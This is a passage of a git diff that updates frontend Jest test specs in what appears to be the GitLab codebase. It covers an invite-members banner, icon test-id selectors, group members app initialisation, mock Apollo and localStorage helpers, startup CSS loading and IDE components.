+ let wrapper;
+ let trackingSpy;
+
+ beforeEach(() => {
+ document.body.dataset.page = 'any:page';
+ trackingSpy = mockTracking('_category_', undefined, jest.spyOn);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ unmockTracking();
+ });
+
+ describe('tracking', () => {
+ beforeEach(() => {
+ wrapper = createComponent({ GlBanner });
+ });
+
+ const trackCategory = undefined;
+ const displayEvent = 'invite_members_banner_displayed';
+ const buttonClickEvent = 'invite_members_banner_button_clicked';
+ const dismissEvent = 'invite_members_banner_dismissed';
+
+ it('sends the displayEvent when the banner is displayed', () => {
+ expect(trackingSpy).toHaveBeenCalledWith(trackCategory, displayEvent, {
+ label: trackLabel,
+ });
+ });
+
+ it('sets the button attributes for the buttonClickEvent', () => {
+ const button = wrapper.find(`[href='${wrapper.vm.inviteMembersPath}']`);
+
+ expect(button.attributes()).toMatchObject({
+ 'data-track-event': buttonClickEvent,
+ 'data-track-label': trackLabel,
+ });
+ });
+
+ it('sends the dismissEvent when the banner is dismissed', () => {
+ wrapper.find(GlBanner).vm.$emit('close');
+
+ expect(trackingSpy).toHaveBeenCalledWith(trackCategory, dismissEvent, {
+ label: trackLabel,
+ });
+ });
+ });
+
+ describe('rendering', () => {
+ const findBanner = () => {
+ return wrapper.find(GlBanner);
+ };
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ it('uses the svgPath for the banner svgpath', () => {
+ expect(findBanner().attributes('svgpath')).toBe(svgPath);
+ });
+
+ it('uses the title from options for title', () => {
+ expect(findBanner().attributes('title')).toBe(title);
+ });
+
+ it('includes the body text from options', () => {
+ expect(findBanner().html()).toContain(body);
+ });
+
+ it('uses the button_text text from options for buttontext', () => {
+ expect(findBanner().attributes('buttontext')).toBe(buttonText);
+ });
+
+ it('uses the href from inviteMembersPath for buttonlink', () => {
+ expect(findBanner().attributes('buttonlink')).toBe(inviteMembersPath);
+ });
+ });
+
+ describe('dismissing', () => {
+ const findButton = () => {
+ return wrapper.find('button');
+ };
+
+ beforeEach(() => {
+ wrapper = createComponent({ GlBanner });
+
+ findButton().trigger('click');
+ });
+
+ it('sets iDismissed to true', () => {
+ expect(wrapper.vm.isDismissed).toBe(true);
+ });
+
+ it('sets the cookie with the isDismissedKey', () => {
+ expect(setCookie).toHaveBeenCalledWith(isDismissedKey, true);
+ });
+ });
+
+ describe('when a dismiss cookie exists', () => {
+ beforeEach(() => {
+ parseBoolean.mockReturnValue(true);
+
+ wrapper = createComponent({ GlBanner });
+ });
+
+ it('sets isDismissed to true', () => {
+ expect(wrapper.vm.isDismissed).toBe(true);
+ });
+
+ it('does not render the banner', () => {
+ expect(wrapper.contains(GlBanner)).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/groups/components/item_actions_spec.js b/spec/frontend/groups/components/item_actions_spec.js
index c0dc1a816e6..f5df8c180d5 100644
--- a/spec/frontend/groups/components/item_actions_spec.js
+++ b/spec/frontend/groups/components/item_actions_spec.js
@@ -57,8 +57,8 @@ describe('ItemActionsComponent', () => {
expect(editBtn.getAttribute('href')).toBe(group.editPath);
expect(editBtn.getAttribute('aria-label')).toBe('Edit group');
expect(editBtn.dataset.originalTitle).toBe('Edit group');
- expect(editBtn.querySelectorAll('svg use').length).not.toBe(0);
- expect(editBtn.querySelector('svg use').getAttribute('xlink:href')).toContain('#settings');
+ expect(editBtn.querySelectorAll('svg').length).not.toBe(0);
+ expect(editBtn.querySelector('svg').getAttribute('data-testid')).toBe('settings-icon');
newVm.$destroy();
});
@@ -75,8 +75,8 @@ describe('ItemActionsComponent', () => {
expect(leaveBtn.getAttribute('href')).toBe(group.leavePath);
expect(leaveBtn.getAttribute('aria-label')).toBe('Leave this group');
expect(leaveBtn.dataset.originalTitle).toBe('Leave this group');
- expect(leaveBtn.querySelectorAll('svg use').length).not.toBe(0);
- expect(leaveBtn.querySelector('svg use').getAttribute('xlink:href')).toContain('#leave');
+ expect(leaveBtn.querySelectorAll('svg').length).not.toBe(0);
+ expect(leaveBtn.querySelector('svg').getAttribute('data-testid')).toBe('leave-icon');
newVm.$destroy();
});
diff --git a/spec/frontend/groups/components/item_caret_spec.js b/spec/frontend/groups/components/item_caret_spec.js
index bfe27be9b51..4ff7482414c 100644
--- a/spec/frontend/groups/components/item_caret_spec.js
+++ b/spec/frontend/groups/components/item_caret_spec.js
@@ -27,12 +27,12 @@ describe('ItemCaretComponent', () => {
it('should render caret down icon if `isGroupOpen` prop is `true`', () => {
vm = createComponent(true);
- expect(vm.$el.querySelector('svg use').getAttribute('xlink:href')).toContain('angle-down');
+ expect(vm.$el.querySelector('svg').getAttribute('data-testid')).toBe('angle-down-icon');
});
it('should render caret right icon if `isGroupOpen` prop is `false`', () => {
vm = createComponent();
- expect(vm.$el.querySelector('svg use').getAttribute('xlink:href')).toContain('angle-right');
+ expect(vm.$el.querySelector('svg').getAttribute('data-testid')).toBe('angle-right-icon');
});
});
});
diff --git a/spec/frontend/groups/components/item_stats_value_spec.js b/spec/frontend/groups/components/item_stats_value_spec.js
index da6f145fa19..11246390444 100644
--- a/spec/frontend/groups/components/item_stats_value_spec.js
+++ b/spec/frontend/groups/components/item_stats_value_spec.js
@@ -72,7 +72,7 @@ describe('ItemStatsValueComponent', () => {
});
it('renders element icon correctly', () => {
- expect(vm.$el.querySelector('svg use').getAttribute('xlink:href')).toContain('folder');
+ expect(vm.$el.querySelector('svg').getAttribute('data-testid')).toBe('folder-icon');
});
it('renders value count correctly', () => {
diff --git a/spec/frontend/groups/components/item_type_icon_spec.js b/spec/frontend/groups/components/item_type_icon_spec.js
index 251b5b5ff4c..477c413ddcd 100644
--- a/spec/frontend/groups/components/item_type_icon_spec.js
+++ b/spec/frontend/groups/components/item_type_icon_spec.js
@@ -27,12 +27,12 @@ describe('ItemTypeIconComponent', () => {
vm = createComponent(ITEM_TYPE.GROUP, true);
- expect(vm.$el.querySelector('use').getAttribute('xlink:href')).toContain('folder-open');
+ expect(vm.$el.querySelector('svg').getAttribute('data-testid')).toBe('folder-open-icon');
vm.$destroy();
vm = createComponent(ITEM_TYPE.GROUP);
- expect(vm.$el.querySelector('use').getAttribute('xlink:href')).toContain('folder');
+ expect(vm.$el.querySelector('svg').getAttribute('data-testid')).toBe('folder-o-icon');
vm.$destroy();
});
@@ -41,12 +41,12 @@ describe('ItemTypeIconComponent', () => {
vm = createComponent(ITEM_TYPE.PROJECT);
- expect(vm.$el.querySelector('use').getAttribute('xlink:href')).toContain('bookmark');
+ expect(vm.$el.querySelector('svg').getAttribute('data-testid')).toBe('bookmark-icon');
vm.$destroy();
vm = createComponent(ITEM_TYPE.GROUP);
- expect(vm.$el.querySelector('use').getAttribute('xlink:href')).not.toContain('bookmark');
+ expect(vm.$el.querySelector('svg').getAttribute('data-testid')).not.toBe('bookmark-icon');
vm.$destroy();
});
});
diff --git a/spec/frontend/groups/members/index_spec.js b/spec/frontend/groups/members/index_spec.js
new file mode 100644
index 00000000000..70fce0d60fb
--- /dev/null
+++ b/spec/frontend/groups/members/index_spec.js
@@ -0,0 +1,66 @@
+import { createWrapper } from '@vue/test-utils';
+import initGroupMembersApp from '~/groups/members';
+import GroupMembersApp from '~/groups/members/components/app.vue';
+import { membersJsonString, membersParsed } from './mock_data';
+
+describe('initGroupMembersApp', () => {
+ let el;
+ let vm;
+ let wrapper;
+
+ const setup = () => {
+ vm = initGroupMembersApp(el);
+ wrapper = createWrapper(vm);
+ };
+
+ beforeEach(() => {
+ el = document.createElement('div');
+ el.setAttribute('data-members', membersJsonString);
+ el.setAttribute('data-group-id', '234');
+
+ window.gon = { current_user_id: 123 };
+
+ document.body.appendChild(el);
+ });
+
+ afterEach(() => {
+ document.body.innerHTML = '';
+ el = null;
+
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('renders `GroupMembersApp`', () => {
+ setup();
+
+ expect(wrapper.find(GroupMembersApp).exists()).toBe(true);
+ });
+
+ it('sets `currentUserId` in Vuex store', () => {
+ setup();
+
+ expect(vm.$store.state.currentUserId).toBe(123);
+ });
+
+ describe('when `gon.current_user_id` is not set (user is not logged in)', () => {
+ it('sets `currentUserId` as `null` in Vuex store', () => {
+ window.gon = {};
+ setup();
+
+ expect(vm.$store.state.currentUserId).toBeNull();
+ });
+ });
+
+ it('parses and sets `data-group-id` as `sourceId` in Vuex store', () => {
+ setup();
+
+ expect(vm.$store.state.sourceId).toBe(234);
+ });
+
+ it('parses and sets `members` in Vuex store', () => {
+ setup();
+
+ expect(vm.$store.state.members).toEqual(membersParsed);
+ });
+});
diff --git a/spec/frontend/groups/members/mock_data.js b/spec/frontend/groups/members/mock_data.js
new file mode 100644
index 00000000000..b84c9c6d446
--- /dev/null
+++ b/spec/frontend/groups/members/mock_data.js
@@ -0,0 +1,33 @@
+export const membersJsonString =
+ '[{"requested_at":null,"can_update":true,"can_remove":true,"can_override":false,"access_level":{"integer_value":50,"string_value":"Owner"},"source":{"id":323,"name":"My group / my subgroup","web_url":"http://127.0.0.1:3000/groups/my-group/my-subgroup"},"user":{"id":1,"name":"Administrator","username":"root","web_url":"http://127.0.0.1:3000/root","avatar_url":"https://www.gravatar.com/avatar/4816142ef496f956a277bedf1a40607b?s=80\u0026d=identicon","blocked":false,"two_factor_enabled":false},"id":524,"created_at":"2020-08-21T21:33:27.631Z","expires_at":null,"using_license":false,"group_sso":false,"group_managed_account":false}]';
+
+export const membersParsed = [
+ {
+ requestedAt: null,
+ canUpdate: true,
+ canRemove: true,
+ canOverride: false,
+ accessLevel: { integerValue: 50, stringValue: 'Owner' },
+ source: {
+ id: 323,
+ name: 'My group / my subgroup',
+ webUrl: 'http://127.0.0.1:3000/groups/my-group/my-subgroup',
+ },
+ user: {
+ id: 1,
+ name: 'Administrator',
+ username: 'root',
+ webUrl: 'http://127.0.0.1:3000/root',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/4816142ef496f956a277bedf1a40607b?s=80&d=identicon',
+ blocked: false,
+ twoFactorEnabled: false,
+ },
+ id: 524,
+ createdAt: '2020-08-21T21:33:27.631Z',
+ expiresAt: null,
+ usingLicense: false,
+ groupSso: false,
+ groupManagedAccount: false,
+ },
+];
diff --git a/spec/frontend/header_spec.js b/spec/frontend/header_spec.js
index 59a8ca2ed23..27305abfafa 100644
--- a/spec/frontend/header_spec.js
+++ b/spec/frontend/header_spec.js
@@ -4,7 +4,7 @@ import initTodoToggle, { initNavUserDropdownTracking } from '~/header';
describe('Header', () => {
describe('Todos notification', () => {
- const todosPendingCount = '.todos-count';
+ const todosPendingCount = '.js-todos-count';
const fixtureTemplate = 'issues/open-issue.html';
function isTodosCountHidden() {
diff --git a/spec/frontend/helpers/dom_events_helper.js b/spec/frontend/helpers/dom_events_helper.js
index 139e0813397..423e5c58bb4 100644
--- a/spec/frontend/helpers/dom_events_helper.js
+++ b/spec/frontend/helpers/dom_events_helper.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const triggerDOMEvent = type => {
window.document.dispatchEvent(
new Event(type, {
diff --git a/spec/frontend/helpers/fake_request_animation_frame.js b/spec/frontend/helpers/fake_request_animation_frame.js
index b01ae5b7c5f..f6fc29df4dc 100644
--- a/spec/frontend/helpers/fake_request_animation_frame.js
+++ b/spec/frontend/helpers/fake_request_animation_frame.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const useFakeRequestAnimationFrame = () => {
let orig;
diff --git a/spec/frontend/helpers/jest_helpers.js b/spec/frontend/helpers/jest_helpers.js
index 4a150be9935..0b623e0a59b 100644
--- a/spec/frontend/helpers/jest_helpers.js
+++ b/spec/frontend/helpers/jest_helpers.js
@@ -1,5 +1,3 @@
-/* eslint-disable import/prefer-default-export */
-
/*
@module
diff --git a/spec/frontend/helpers/local_storage_helper.js b/spec/frontend/helpers/local_storage_helper.js
index a66c31d1353..cd39b660bfd 100644
--- a/spec/frontend/helpers/local_storage_helper.js
+++ b/spec/frontend/helpers/local_storage_helper.js
@@ -10,7 +10,7 @@
*/
const useLocalStorage = fn => {
const origLocalStorage = window.localStorage;
- let currentLocalStorage;
+ let currentLocalStorage = origLocalStorage;
Object.defineProperty(window, 'localStorage', {
get: () => currentLocalStorage,
diff --git a/spec/frontend/helpers/local_storage_helper_spec.js b/spec/frontend/helpers/local_storage_helper_spec.js
index 18aec0f329a..6b44ea3a4c3 100644
--- a/spec/frontend/helpers/local_storage_helper_spec.js
+++ b/spec/frontend/helpers/local_storage_helper_spec.js
@@ -1,8 +1,15 @@
import { useLocalStorageSpy } from './local_storage_helper';
-useLocalStorageSpy();
+describe('block before helper is installed', () => {
+ it('should leave original localStorage intact', () => {
+ expect(localStorage.getItem).toEqual(expect.any(Function));
+ expect(jest.isMockFunction(localStorage.getItem)).toBe(false);
+ });
+});
describe('localStorage helper', () => {
+ useLocalStorageSpy();
+
it('mocks localStorage but works exactly like original localStorage', () => {
localStorage.setItem('test', 'testing');
localStorage.setItem('test2', 'testing');
diff --git a/spec/frontend/helpers/locale_helper.js b/spec/frontend/helpers/locale_helper.js
index 80047b06003..283d9bc14c9 100644
--- a/spec/frontend/helpers/locale_helper.js
+++ b/spec/frontend/helpers/locale_helper.js
@@ -1,5 +1,3 @@
-/* eslint-disable import/prefer-default-export */
-
export const setLanguage = languageCode => {
const htmlElement = document.querySelector('html');
diff --git a/spec/frontend/helpers/mock_apollo_helper.js b/spec/frontend/helpers/mock_apollo_helper.js
new file mode 100644
index 00000000000..8a5a160231c
--- /dev/null
+++ b/spec/frontend/helpers/mock_apollo_helper.js
@@ -0,0 +1,23 @@
+import { InMemoryCache } from 'apollo-cache-inmemory';
+import { createMockClient } from 'mock-apollo-client';
+import VueApollo from 'vue-apollo';
+
+export default (handlers = []) => {
+ const fragmentMatcher = { match: () => true };
+ const cache = new InMemoryCache({
+ fragmentMatcher,
+ addTypename: false,
+ });
+
+ const mockClient = createMockClient({ cache });
+
+ if (Array.isArray(handlers)) {
+ handlers.forEach(([query, value]) => mockClient.setRequestHandler(query, value));
+ } else {
+ throw new Error('You should pass an array of handlers to mock Apollo client');
+ }
+
+ const apolloProvider = new VueApollo({ defaultClient: mockClient });
+
+ return apolloProvider;
+};
diff --git a/spec/frontend/helpers/mock_dom_observer.js b/spec/frontend/helpers/mock_dom_observer.js
index 7aac51f6264..1b93b81535d 100644
--- a/spec/frontend/helpers/mock_dom_observer.js
+++ b/spec/frontend/helpers/mock_dom_observer.js
@@ -84,7 +84,9 @@ const useMockObserver = (key, createMock) => {
mockObserver.$_triggerObserve(...args);
};
- return { trigger };
+ const observersCount = () => mockObserver.$_observers.length;
+
+ return { trigger, observersCount };
};
export const useMockIntersectionObserver = () =>
diff --git a/spec/frontend/helpers/startup_css_helper_spec.js b/spec/frontend/helpers/startup_css_helper_spec.js
new file mode 100644
index 00000000000..7b83f0aefca
--- /dev/null
+++ b/spec/frontend/helpers/startup_css_helper_spec.js
@@ -0,0 +1,65 @@
+import { waitForCSSLoaded } from '../../../app/assets/javascripts/helpers/startup_css_helper';
+
+describe('waitForCSSLoaded', () => {
+ let mockedCallback;
+
+ beforeEach(() => {
+ mockedCallback = jest.fn();
+ });
+
+ describe('Promise-like api', () => {
+ it('can be used with a callback', async () => {
+ await waitForCSSLoaded(mockedCallback);
+ expect(mockedCallback).toHaveBeenCalledTimes(1);
+ });
+
+ it('can be used as a promise', async () => {
+ await waitForCSSLoaded().then(mockedCallback);
+ expect(mockedCallback).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('with startup css disabled', () => {
+ gon.features = {
+ startupCss: false,
+ };
+
+ it('should invoke the action right away', async () => {
+ const events = waitForCSSLoaded(mockedCallback);
+ await events;
+
+ expect(mockedCallback).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('with startup css enabled', () => {
+ gon.features = {
+ startupCss: true,
+ };
+
+ it('should dispatch CSSLoaded when the assets are cached or already loaded', async () => {
+ setFixtures(`
+ <link href="one.css" data-startupcss="loaded">
+ <link href="two.css" data-startupcss="loaded">
+ `);
+ await waitForCSSLoaded(mockedCallback);
+
+ expect(mockedCallback).toHaveBeenCalledTimes(1);
+ });
+
+ it('should wait to call CssLoaded until the assets are loaded', async () => {
+ setFixtures(`
+ <link href="one.css" data-startupcss="loading">
+ <link href="two.css" data-startupcss="loading">
+ `);
+ const events = waitForCSSLoaded(mockedCallback);
+ document
+ .querySelectorAll('[data-startupcss="loading"]')
+ .forEach(elem => elem.setAttribute('data-startupcss', 'loaded'));
+ document.dispatchEvent(new CustomEvent('CSSStartupLinkLoaded'));
+ await events;
+
+ expect(mockedCallback).toHaveBeenCalledTimes(1);
+ });
+ });
+});
diff --git a/spec/frontend/ide/commit_icon_spec.js b/spec/frontend/ide/commit_icon_spec.js
index e4a7394b089..0dfcae00298 100644
--- a/spec/frontend/ide/commit_icon_spec.js
+++ b/spec/frontend/ide/commit_icon_spec.js
@@ -7,7 +7,6 @@ const createFile = (name = 'name', id = name, type = '', parent = null) =>
id,
type,
icon: 'icon',
- url: 'url',
name,
path: parent ? `${parent.path}/${name}` : name,
parentPath: parent ? parent.path : '',
diff --git a/spec/frontend/ide/components/branches/item_spec.js b/spec/frontend/ide/components/branches/item_spec.js
index d8175025755..f1aa9187a8d 100644
--- a/spec/frontend/ide/components/branches/item_spec.js
+++ b/spec/frontend/ide/components/branches/item_spec.js
@@ -1,8 +1,8 @@
import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import { createStore } from '~/ide/stores';
import { createRouter } from '~/ide/ide_router';
import Item from '~/ide/components/branches/item.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import Timeago from '~/vue_shared/components/time_ago_tooltip.vue';
import { projectData } from '../../mock_data';
@@ -45,7 +45,7 @@ describe('IDE branch item', () => {
it('renders branch name and timeago', () => {
expect(wrapper.text()).toContain(TEST_BRANCH.name);
expect(wrapper.find(Timeago).props('time')).toBe(TEST_BRANCH.committedDate);
- expect(wrapper.find(Icon).exists()).toBe(false);
+ expect(wrapper.find(GlIcon).exists()).toBe(false);
});
it('renders link to branch', () => {
@@ -60,6 +60,6 @@ describe('IDE branch item', () => {
it('renders icon if is not active', () => {
createComponent({ isActive: true });
- expect(wrapper.find(Icon).exists()).toBe(true);
+ expect(wrapper.find(GlIcon).exists()).toBe(true);
});
});
diff --git a/spec/frontend/ide/components/commit_sidebar/form_spec.js b/spec/frontend/ide/components/commit_sidebar/form_spec.js
index 9245cefc183..56667d6b03d 100644
--- a/spec/frontend/ide/components/commit_sidebar/form_spec.js
+++ b/spec/frontend/ide/components/commit_sidebar/form_spec.js
@@ -1,10 +1,13 @@
import Vue from 'vue';
+import { getByText } from '@testing-library/dom';
import { createComponentWithStore } from 'helpers/vue_mount_component_helper';
import { projectData } from 'jest/ide/mock_data';
import waitForPromises from 'helpers/wait_for_promises';
import { createStore } from '~/ide/stores';
+import consts from '~/ide/stores/modules/commit/constants';
import CommitForm from '~/ide/components/commit_sidebar/form.vue';
import { leftSidebarViews } from '~/ide/constants';
+import { createCodeownersCommitError, createUnexpectedCommitError } from '~/ide/lib/errors';
describe('IDE commit form', () => {
const Component = Vue.extend(CommitForm);
@@ -259,21 +262,47 @@ describe('IDE commit form', () => {
});
});
- it('opens new branch modal if commitChanges throws an error', () => {
- vm.commitChanges.mockRejectedValue({ success: false });
+ it.each`
+ createError | props
+ ${() => createCodeownersCommitError('test message')} | ${{ actionPrimary: { text: 'Create new branch' } }}
+ ${createUnexpectedCommitError} | ${{ actionPrimary: null }}
+ `('opens error modal if commitError with $error', async ({ createError, props }) => {
+ jest.spyOn(vm.$refs.commitErrorModal, 'show');
- jest.spyOn(vm.$refs.createBranchModal, 'show').mockImplementation();
+ const error = createError();
+ store.state.commit.commitError = error;
- return vm
- .$nextTick()
- .then(() => {
- vm.$el.querySelector('.btn-success').click();
+ await vm.$nextTick();
- return vm.$nextTick();
- })
- .then(() => {
- expect(vm.$refs.createBranchModal.show).toHaveBeenCalled();
- });
+ expect(vm.$refs.commitErrorModal.show).toHaveBeenCalled();
+ expect(vm.$refs.commitErrorModal).toMatchObject({
+ actionCancel: { text: 'Cancel' },
+ ...props,
+ });
+ // Because of the legacy 'mountComponent' approach here, the only way to
+ // test the text of the modal is by viewing the content of the modal added to the document.
+ expect(document.body).toHaveText(error.messageHTML);
+ });
+ });
+
+ describe('with error modal with primary', () => {
+ beforeEach(() => {
+ jest.spyOn(vm.$store, 'dispatch').mockReturnValue(Promise.resolve());
+ });
+
+ it('updates commit action and commits', async () => {
+ store.state.commit.commitError = createCodeownersCommitError('test message');
+
+ await vm.$nextTick();
+
+ getByText(document.body, 'Create new branch').click();
+
+ await waitForPromises();
+
+ expect(vm.$store.dispatch.mock.calls).toEqual([
+ ['commit/updateCommitAction', consts.COMMIT_TO_NEW_BRANCH],
+ ['commit/commitChanges', undefined],
+ ]);
});
});
});
diff --git a/spec/frontend/ide/components/error_message_spec.js b/spec/frontend/ide/components/error_message_spec.js
index 3a4dcc5873d..8b7e7da3b51 100644
--- a/spec/frontend/ide/components/error_message_spec.js
+++ b/spec/frontend/ide/components/error_message_spec.js
@@ -51,7 +51,7 @@ describe('IDE error message component', () => {
createComponent();
findDismissButton().trigger('click');
- expect(setErrorMessageMock).toHaveBeenCalledWith(expect.any(Object), null, undefined);
+ expect(setErrorMessageMock).toHaveBeenCalledWith(expect.any(Object), null);
});
describe('with action', () => {
diff --git a/spec/frontend/ide/components/file_row_extra_spec.js b/spec/frontend/ide/components/file_row_extra_spec.js
index 4bd27d23f76..2a106ad37c0 100644
--- a/spec/frontend/ide/components/file_row_extra_spec.js
+++ b/spec/frontend/ide/components/file_row_extra_spec.js
@@ -153,14 +153,14 @@ describe('IDE extra file row component', () => {
describe('merge request icon', () => {
it('hides when not a merge request change', () => {
- expect(vm.$el.querySelector('.ic-git-merge')).toBe(null);
+ expect(vm.$el.querySelector('[data-testid="git-merge-icon"]')).toBe(null);
});
it('shows when a merge request change', done => {
vm.file.mrChange = true;
vm.$nextTick(() => {
- expect(vm.$el.querySelector('.ic-git-merge')).not.toBe(null);
+ expect(vm.$el.querySelector('[data-testid="git-merge-icon"]')).not.toBe(null);
done();
});
diff --git a/spec/frontend/ide/components/ide_status_list_spec.js b/spec/frontend/ide/components/ide_status_list_spec.js
index fed61233e55..bb8165d1a52 100644
--- a/spec/frontend/ide/components/ide_status_list_spec.js
+++ b/spec/frontend/ide/components/ide_status_list_spec.js
@@ -75,7 +75,8 @@ describe('ide/components/ide_status_list', () => {
describe('with binary file', () => {
beforeEach(() => {
- activeFile.binary = true;
+ activeFile.name = 'abc.dat';
+ activeFile.content = 'ðŸ±'; // non-ascii binary content
createComponent();
});
diff --git a/spec/frontend/ide/components/jobs/__snapshots__/stage_spec.js.snap b/spec/frontend/ide/components/jobs/__snapshots__/stage_spec.js.snap
index dbfacb98813..a65d9e6f78b 100644
--- a/spec/frontend/ide/components/jobs/__snapshots__/stage_spec.js.snap
+++ b/spec/frontend/ide/components/jobs/__snapshots__/stage_spec.js.snap
@@ -34,7 +34,7 @@ exports[`IDE pipeline stage renders stage details & icon 1`] = `
</span>
</div>
- <icon-stub
+ <gl-icon-stub
class="ide-stage-collapse-icon"
name="angle-down"
size="16"
diff --git a/spec/frontend/ide/components/jobs/detail/description_spec.js b/spec/frontend/ide/components/jobs/detail/description_spec.js
index babae00d2f7..5554738336a 100644
--- a/spec/frontend/ide/components/jobs/detail/description_spec.js
+++ b/spec/frontend/ide/components/jobs/detail/description_spec.js
@@ -23,6 +23,16 @@ describe('IDE job description', () => {
});
it('renders CI icon', () => {
- expect(vm.$el.querySelector('.ci-status-icon .ic-status_success_borderless')).not.toBe(null);
+ expect(
+ vm.$el.querySelector('.ci-status-icon [data-testid="status_success_borderless-icon"]'),
+ ).not.toBe(null);
+ });
+
+ it('renders bridge job details without the job link', () => {
+ vm = mountComponent(Component, {
+ job: { ...jobs[0], path: undefined },
+ });
+
+ expect(vm.$el.querySelector('[data-testid="description-detail-link"]')).toBe(null);
});
});
diff --git a/spec/frontend/ide/components/jobs/detail/scroll_button_spec.js b/spec/frontend/ide/components/jobs/detail/scroll_button_spec.js
index b8dbca97ade..42526590ebb 100644
--- a/spec/frontend/ide/components/jobs/detail/scroll_button_spec.js
+++ b/spec/frontend/ide/components/jobs/detail/scroll_button_spec.js
@@ -1,5 +1,5 @@
import { shallowMount } from '@vue/test-utils';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import ScrollButton from '~/ide/components/jobs/detail/scroll_button.vue';
describe('IDE job log scroll button', () => {
@@ -27,7 +27,7 @@ describe('IDE job log scroll button', () => {
beforeEach(() => createComponent({ direction }));
it('returns proper icon name', () => {
- expect(wrapper.find(Icon).props('name')).toBe(icon);
+ expect(wrapper.find(GlIcon).props('name')).toBe(icon);
});
it('returns proper title', () => {
diff --git a/spec/frontend/ide/components/jobs/detail_spec.js b/spec/frontend/ide/components/jobs/detail_spec.js
index acd30dee718..496d8284fdd 100644
--- a/spec/frontend/ide/components/jobs/detail_spec.js
+++ b/spec/frontend/ide/components/jobs/detail_spec.js
@@ -24,7 +24,7 @@ describe('IDE jobs detail view', () => {
beforeEach(() => {
vm = createComponent();
- jest.spyOn(vm, 'fetchJobTrace').mockResolvedValue();
+ jest.spyOn(vm, 'fetchJobLogs').mockResolvedValue();
});
afterEach(() => {
@@ -36,8 +36,8 @@ describe('IDE jobs detail view', () => {
vm = vm.$mount();
});
- it('calls fetchJobTrace', () => {
- expect(vm.fetchJobTrace).toHaveBeenCalled();
+ it('calls fetchJobLogs', () => {
+ expect(vm.fetchJobLogs).toHaveBeenCalled();
});
it('scrolls to bottom', () => {
@@ -96,7 +96,7 @@ describe('IDE jobs detail view', () => {
describe('scroll buttons', () => {
beforeEach(() => {
vm = createComponent();
- jest.spyOn(vm, 'fetchJobTrace').mockResolvedValue();
+ jest.spyOn(vm, 'fetchJobLogs').mockResolvedValue();
});
afterEach(() => {
diff --git a/spec/frontend/ide/components/jobs/item_spec.js b/spec/frontend/ide/components/jobs/item_spec.js
index 2f97d39e98e..93c01640b54 100644
--- a/spec/frontend/ide/components/jobs/item_spec.js
+++ b/spec/frontend/ide/components/jobs/item_spec.js
@@ -24,7 +24,7 @@ describe('IDE jobs item', () => {
});
it('renders CI icon', () => {
- expect(vm.$el.querySelector('.ic-status_success_borderless')).not.toBe(null);
+ expect(vm.$el.querySelector('[data-testid="status_success_borderless-icon"]')).not.toBe(null);
});
it('does not render view logs button if not started', done => {
diff --git a/spec/frontend/ide/components/jobs/list_spec.js b/spec/frontend/ide/components/jobs/list_spec.js
index d8880fa7cb7..e821a585e18 100644
--- a/spec/frontend/ide/components/jobs/list_spec.js
+++ b/spec/frontend/ide/components/jobs/list_spec.js
@@ -99,11 +99,7 @@ describe('IDE stages list', () => {
it('calls toggleStageCollapsed when clicking stage header', () => {
findCardHeader().trigger('click');
- expect(storeActions.toggleStageCollapsed).toHaveBeenCalledWith(
- expect.any(Object),
- 0,
- undefined,
- );
+ expect(storeActions.toggleStageCollapsed).toHaveBeenCalledWith(expect.any(Object), 0);
});
it('calls fetchJobs when stage is mounted', () => {
diff --git a/spec/frontend/ide/components/merge_requests/item_spec.js b/spec/frontend/ide/components/merge_requests/item_spec.js
index b1da89d7a9b..20adaa7abbc 100644
--- a/spec/frontend/ide/components/merge_requests/item_spec.js
+++ b/spec/frontend/ide/components/merge_requests/item_spec.js
@@ -33,7 +33,7 @@ describe('IDE merge request item', () => {
store,
});
};
- const findIcon = () => wrapper.find('.ic-mobile-issue-close');
+ const findIcon = () => wrapper.find('[data-testid="mobile-issue-close-icon"]');
beforeEach(() => {
store = createStore();
diff --git a/spec/frontend/ide/components/merge_requests/list_spec.js b/spec/frontend/ide/components/merge_requests/list_spec.js
index e2c6ac49e07..80dcd861451 100644
--- a/spec/frontend/ide/components/merge_requests/list_spec.js
+++ b/spec/frontend/ide/components/merge_requests/list_spec.js
@@ -56,14 +56,10 @@ describe('IDE merge requests list', () => {
it('calls fetch on mounted', () => {
createComponent();
- expect(fetchMergeRequestsMock).toHaveBeenCalledWith(
- expect.any(Object),
- {
- search: '',
- type: '',
- },
- undefined,
- );
+ expect(fetchMergeRequestsMock).toHaveBeenCalledWith(expect.any(Object), {
+ search: '',
+ type: '',
+ });
});
it('renders loading icon when merge request is loading', () => {
@@ -95,14 +91,10 @@ describe('IDE merge requests list', () => {
const searchType = wrapper.vm.$options.searchTypes[0];
expect(findTokenedInput().props('tokens')).toEqual([searchType]);
- expect(fetchMergeRequestsMock).toHaveBeenCalledWith(
- expect.any(Object),
- {
- type: searchType.type,
- search: '',
- },
- undefined,
- );
+ expect(fetchMergeRequestsMock).toHaveBeenCalledWith(expect.any(Object), {
+ type: searchType.type,
+ search: '',
+ });
});
});
@@ -136,14 +128,10 @@ describe('IDE merge requests list', () => {
input.vm.$emit('input', 'something');
return wrapper.vm.$nextTick().then(() => {
- expect(fetchMergeRequestsMock).toHaveBeenCalledWith(
- expect.any(Object),
- {
- search: 'something',
- type: '',
- },
- undefined,
- );
+ expect(fetchMergeRequestsMock).toHaveBeenCalledWith(expect.any(Object), {
+ search: 'something',
+ type: '',
+ });
});
});
});
diff --git a/spec/frontend/ide/components/nav_dropdown_button_spec.js b/spec/frontend/ide/components/nav_dropdown_button_spec.js
index 2aa3992a6d8..c98aa313f40 100644
--- a/spec/frontend/ide/components/nav_dropdown_button_spec.js
+++ b/spec/frontend/ide/components/nav_dropdown_button_spec.js
@@ -23,7 +23,7 @@ describe('NavDropdown', () => {
vm.$mount();
};
- const findIcon = name => vm.$el.querySelector(`.ic-${name}`);
